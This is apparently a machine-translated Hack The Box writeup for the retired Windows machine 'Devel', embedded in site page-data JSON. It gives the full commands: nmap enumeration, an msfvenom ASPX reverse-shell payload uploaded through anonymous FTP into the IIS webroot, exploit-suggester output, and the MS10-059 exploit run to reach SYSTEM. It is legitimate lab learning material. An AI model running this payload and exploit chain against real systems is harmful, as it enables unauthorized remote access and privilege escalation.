{"componentChunkName":"component---src-templates-post-template-js","path":"/hackthebox-windows-devel-en","result":{"data":{"markdownRemark":{"id":"51d880cb-6c3f-5de2-b518-1c7f10883f4e","html":"
\n

This page has been machine-translated from the original page.

\n
\n

I learn about security through the penetration-testing learning platform called “Hack The Box.”\nAt the time of writing, my rank on “Hack The Box” is Pro Hacker.

\n\n \n /etc/hosts\n$ nmap -sV -sC -T4 $RHOST| tee nmap1.txt\n21/tcp open ftp Microsoft ftpd\n| ftp-syst: \n|_ SYST: Windows_NT\n| ftp-anon: Anonymous FTP login allowed (FTP code 230)\n| 03-18-17 02:06AM <DIR> aspnet_client\n| 03-17-17 05:37PM 689 iisstart.htm\n|_03-17-17 05:37PM 184946 welcome.png\n80/tcp open http Microsoft IIS httpd 7.5\n|_http-title: IIS7\n| http-methods: \n|_ Potentially risky methods: TRACE\n|_http-server-header: Microsoft-IIS/7.5\nService Info: OS: Windows; CPE: cpe:/o:microsoft:windows\n

Also, IIS was running on port 80.

\n

\n \n \n \n \n \n \n \n \n

\n

Since anonymous FTP login was available, I embedded an ASP payload created with msfvenom into the web server and obtained a reverse shell.

\n
$ LHOST=`ip addr | grep -E -o \"10.10.([0-9]{1,3}[\\.]){1}[0-9]{1,3}\"`\n$ msfvenom -f aspx -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=4444 -o rev.aspx\n\n$ echo open 10.10.10.5 > ftp.txt && echo user anonymous >> ftp.txt && echo binary >> ftp.txt && echo put rev.aspx >> ftp.txt && echo quit >> ftp.txt\n$ ftp -n < ftp.txt
\n

That gave me a shell.

\n

Local enumeration

\n

I got a shell, but unfortunately the privileges were the weak iis apppool\\web.

\n

So I started looking for a path to privilege escalation.

\n

Checking the system information first, I confirmed that it was a Windows 7 machine.

\n

\n \n \n \n \n \n \n \n \n

\n

I explored scheduled tasks and files on the host, but I did not find anything useful, so I decided to look for local vulnerabilities.

\n
$ python windows-exploit-suggester.py --database 2022-07-23-mssb.xls --systeminfo systeminfo.txt\n[*] initiating winsploit version 3.3...\n[*] database file detected as xls or xlsx based on extension\n[*] attempting to read from the systeminfo input file\n[+] systeminfo input file read successfully (utf-8)\n[*] querying database file for potential vulnerabilities\n[*] comparing the 0 hotfix(es) against the 179 potential bulletins(s) with a database of 137 known exploits\n[*] there are now 179 remaining vulns\n[+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin\n[+] windows version identified as 'Windows 7 32-bit'\n[*] \n[M] MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical\n[M] MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930) - Important\n[E] MS12-037: Cumulative Security Update for Internet Explorer (2699988) - Critical\n[*]   http://www.exploit-db.com/exploits/35273/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5., PoC\n[*]   http://www.exploit-db.com/exploits/34815/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5.0 Bypass (MS12-037), PoC\n[*] \n[E] MS11-011: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (2393802) - Important\n[M] MS10-073: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (981957) - Important\n[M] MS10-061: Vulnerability in Print Spooler Service Could Allow Remote Code Execution (2347290) - Critical\n[E] MS10-059: Vulnerabilities in the Tracing Feature for Services Could Allow Elevation of Privilege (982799) - Important\n[E] MS10-047: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (981852) - Important\n[M] MS10-015: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (977165) - Important\n[M] MS10-002: Cumulative Security Update for Internet Explorer (978207) - Critical\n[M] MS09-072: Cumulative Security Update for Internet Explorer (976325) - Critical\n[*] done
\n

Privilege escalation

\n

In the previous section, I was able to identify candidate vulnerabilities.

\n

Since I could write files via FTP under wwwroot, I tried a few exploits that looked promising.

\n

In the end, the PoC for MS10-059 worked.

\n
# File transfer\necho open 10.10.10.5 > ftp.txt && echo user anonymous >> ftp.txt && echo binary >> ftp.txt && echo put MS10-059.exe >> ftp.txt && echo quit >> ftp.txt\nftp -n < ftp.txt\n\n# Exploit\nMS10-059.exe 10.10.14.2 9999
\n

This gave me SYSTEM privileges.

\n
c:\\inetpub\\wwwroot>whoami\nwhoami\nnt authority\\system
\n

Summary

\n

It feels good when an easy box falls quickly like this.

","fields":{"slug":"/hackthebox-windows-devel-en","tagSlugs":["/tag/hack-the-box-en/","/tag/windows-en/","/tag/easy-box-en/","/tag/english/"]},"frontmatter":{"date":"2022-07-23","description":"This is a writeup for HackTheBox’s retired machine “Devel.”","tags":["HackTheBox (en)","Windows (en)","EasyBox (en)","English"],"title":"【Easy/Windows】Devel Writeup (HackTheBox)","socialImage":{"publicURL":"/static/dc4d8b7f8795f3c3d3489d9957d155f2/no-image.png"}}}},"pageContext":{"slug":"/hackthebox-windows-devel-en"}},"staticQueryHashes":["251939775","401334301","825871152"]}